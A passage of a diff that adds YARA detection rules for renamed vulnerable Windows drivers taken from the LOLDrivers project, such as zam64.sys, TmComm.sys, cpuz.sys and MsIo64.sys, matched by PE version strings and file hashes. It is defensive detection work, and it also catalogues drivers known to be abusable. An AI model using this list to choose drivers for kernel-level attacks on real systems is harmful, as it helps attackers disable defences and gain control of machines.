+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006f00730074006e0074002000360034002d0062006900740020006400720069007600650072 } /* FileDescription Hostntbitdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053006100660065004e00650074002c00200049006e0063002e } /* CompanyName SafeNetInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002c00200030002c002000310036002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002c00200030002c002000310036002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0048006f00730074006e0074 } /* InternalName Hostnt */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048006f00730074006e0074 } /* ProductName Hostnt */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0048006f00730074006e0074002e007300790073 } /* OriginalFilename Hostntsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000200053006100660065004e00650074002c00200049006e0063002e } /* LegalCopyright CopyrightCSafeNetInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /HOSTNT/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Rivetnetworksllc_Kfecodrvsys_Killertrafficcontrol_9A91 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - KfeCo11X64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9a91d6e83b8fdec536580f6617f10dfc64eedf14ead29a6a644eb154426622ba"
+		date = "2023-06-14"
+		score = 70
+		id = "67859aea-01d4-5463-9f4c-f6b4db2a7c30"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c002000430061006c006c006f007500740020004400720069007600650072 } /* FileDescription KillerTrafficControlCalloutDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e } /* CompanyName RivetNetworksLLC */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0038002e0034002e00350039 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e0038002e0034002e00350039 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 } /* InternalName KfeCoDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c } /* ProductName KillerTrafficControl */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 } /* OriginalFilename KfeCoDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d00320030003100380020005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e } /* LegalCopyright CopyrightCRivetNetworksLLC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /KfeCo11X64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Zemanaltd_Zam_7CB5 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7cb594af6a3655daebc9fad9c8abf2417b00ba31dcd118707824e5316fc0cc21"
+		date = "2023-06-14"
+		score = 70
+		id = "4a43c176-9f5b-56c0-8655-0b90f862ec6e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /zam64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Asrockincorporation_Asrautochkupddrvsys_Asrautochkupddrvdriver_2AA1 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrAutoChkUpdDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2aa1b08f47fbb1e2bd2e4a492f5d616968e703e1359a921f62b38b8e4662f0c4"
+		date = "2023-06-14"
+		score = 70
+		id = "718285a7-b151-5ccd-8dcf-9edac9db7d61"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100730072004100750074006f00430068006b0055007000640044007200760020004400720069007600650072 } /* FileDescription AsrAutoChkUpdDrvDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e } /* CompanyName ASRockIncorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100730072004100750074006f00430068006b005500700064004400720076002e007300790073 } /* InternalName AsrAutoChkUpdDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100730072004100750074006f00430068006b0055007000640044007200760020004400720069007600650072 } /* ProductName AsrAutoChkUpdDrvDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100730072004100750074006f00430068006b005500700064004400720076002e007300790073 } /* OriginalFilename AsrAutoChkUpdDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100320020004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e } /* LegalCopyright CopyrightCASRockIncorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /AsrAutoChkUpdDrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_97B3 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "97b32ddf83f75637e3ba934df117081dd6a1c57d47a4c9700d35e736da11d5bd"
+		hash = "89108a15f009b285db4ef94250b889d5b11b96b4aa7b190784a6d1396e893e10"
+		date = "2023-06-14"
+		score = 70
+		id = "2c22997e-aaa3-5a23-83bb-0f4be8da3837"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000370030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Novellinc_Novellxtier_2899 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "28999af32b55ddb7dcfc26376a244aa2fe297233ce7abe4919a1aef2f7e2cee7"
+		hash = "ce23c2dae4cca4771ea50ec737093dfafac06c64db0f924a1ccbbf687e33f5a2"
+		date = "2023-06-14"
+		score = 70
+		id = "7d961433-d8f7-526b-b5f1-29d896f39a5f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 } /* FileDescription NovellXTierSessionManager */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e } /* CompanyName NovellInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 } /* ProductName NovellXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 } /* OriginalFilename nscmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightNovellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /nscm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_818E {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "818e396595d08d724666803cd29dac566dc7db23bf50e9919d04b33afa988c01"
+		date = "2023-06-14"
+		score = 70
+		id = "3851c445-23c0-59a1-85e9-a32758a73bd8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000370038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_6FFD {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6ffdde6bc6784c13c601442e47157062941c47015891e7139c2aaba676ab59cc"
+		date = "2023-06-14"
+		score = 70
+		id = "7523cea1-54f0-5328-90ec-e5170c5cfe01"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c00650020004e006f00540072006100700020004200750069006c0064 } /* FileDescription TrendMicroCommonModuleNoTrapBuild */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0030002e0030002e0031003100300034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Cpuid_Cpuzsys_Cpuidservice_7710 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "771015b2620942919bb2e0683476635b7a09db55216d6fbf03534cb18513b20c"
+		hash = "8d57e416ea4bb855b78a2ff3c80de1dfbb5dc5ee9bfbdddb23e46bd8619287e2"
+		hash = "900dd68ccc72d73774a347b3290c4b6153ae496a81de722ebb043e2e99496f88"
+		hash = "f74ffd6916333662900cbecb90aca2d6475a714ce410adf9c5c3264abbe5732c"
+		date = "2023-06-14"
+		score = 70
+		id = "3e19f0b1-a1ce-5f2e-a26d-1c7ff8e82f16"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 } /* CompanyName CPUID */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 } /* ProductName CPUIDservice */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310035002000430050005500490044 } /* LegalCopyright CopyrightCCPUID */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /cpuz/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Windowsrserverddkprovider_Speedfansys_Windowsrserverddkdriver_22BE {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - speedfan.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "22be050955347661685a4343c51f11c7811674e030386d2264cd12ecbf544b7c"
+		date = "2023-06-14"
+		score = 70
+		id = "86dedef9-d4dc-5c62-b03c-502c0f80ae57"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053007000650065006400460061006e00200044006500760069006300650020004400720069007600650072 } /* FileDescription SpeedFanDeviceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRServerDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0073007000650065006400660061006e002e007300790073 } /* InternalName speedfansys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 } /* ProductName WindowsRServerDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0073007000650065006400660061006e002e007300790073 } /* OriginalFilename speedfansys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /speedfan/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Openlibsysorg_Openlibsyssys_Openlibsys_9131 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - OpenLibSys.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "91314768da140999e682d2a290d48b78bb25a35525ea12c1b1f9634d14602b2c"
+		date = "2023-06-14"
+		score = 70
+		id = "bcdf7111-a4ee-5603-b42e-b1acbaf80d69"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004f00700065006e004c00690062005300790073 } /* FileDescription OpenLibSys */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 } /* CompanyName OpenLibSysorg */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 } /* InternalName OpenLibSyssys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004f00700065006e004c00690062005300790073 } /* ProductName OpenLibSys */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 } /* OriginalFilename OpenLibSyssys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067 } /* LegalCopyright CopyrightCOpenLibSysorg */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /OpenLibSys/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_E4EC {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e4eca7db365929ff7c5c785e2eab04ef8ec67ea9edcf7392f2b74eccd9449148"
+		date = "2023-06-14"
+		score = 70
+		id = "0434de42-0da2-5e6c-9c07-e742e53b5c98"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000330038002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000330038002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100310020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /viragt64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_FB6B {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "fb6b0d304433bf88cc7d57728683dbb4b9833459dc33528918ead09b3907ff22"
+		date = "2023-06-14"
+		score = 70
+		id = "ec649ec9-8a01-5665-b18f-eabb5da7c6ea"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 } /* FileDescription ATSZIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e } /* CompanyName ASUSTekComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0032002e0033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0032002e0033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 } /* InternalName ATSZIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 } /* ProductName ATSZIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 } /* OriginalFilename ATSZIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ATSZIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_075D {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "075de997497262a9d105afeadaaefc6348b25ce0e0126505c24aa9396c251e85"
+		hash = "cdfbe62ef515546f1728189260d0bdf77167063b6dbb77f1db6ed8b61145a2bc"
+		date = "2023-06-14"
+		score = 70
+		id = "ebf21994-6431-57ba-9c7f-d768cbf7eb33"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00330032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00330032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320030 } /* LegalCopyright CopyrightCMarkRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /procexp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_AE42 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ae42afa9be9aa6f6a5ae09fa9c05cd2dfb7861dc72d4fd8e0130e5843756c471"
+		hash = "d636c011b8b2896572f5de260eb997182cc6955449b044a739bd19cbe6fdabd2"
+		hash = "0f035948848432bc243704041739e49b528f35c82a5be922d9e3b8a4c44398ff"
+		date = "2023-06-14"
+		score = 70
+		id = "2f1a0973-929d-506e-b344-ce9d37c8eaf5"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0049004300530059005300200049004f0020006400720069007600650072 } /* FileDescription MICSYSIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 } /* CompanyName MICSYSTechnologyCoLTd */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003300200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion xbuiltbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00330020007800360034 } /* ProductVersion x */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 } /* InternalName MsIosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0033 } /* ProductName MsIoDriverVersion */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 } /* OriginalFilename MsIosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003200310020004d00490043005300590053 } /* LegalCopyright CopyrightcMICSYS */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /MsIo64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublic_3724 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3724b39e97936bb20ada51c6119aded04530ed86f6b8d6b45fbfb2f3b9a4114b"
+		date = "2023-06-14"
+		score = 70
+		id = "f5ff0000-66e2-5f32-87b2-f66481c904b4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 } /* FileDescription VirtualBoxSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 } /* CompanyName VektorTSecurityService */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0032002e003100310039003200330030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0032002e003100310039003200330030 } /* ProductVersion  */
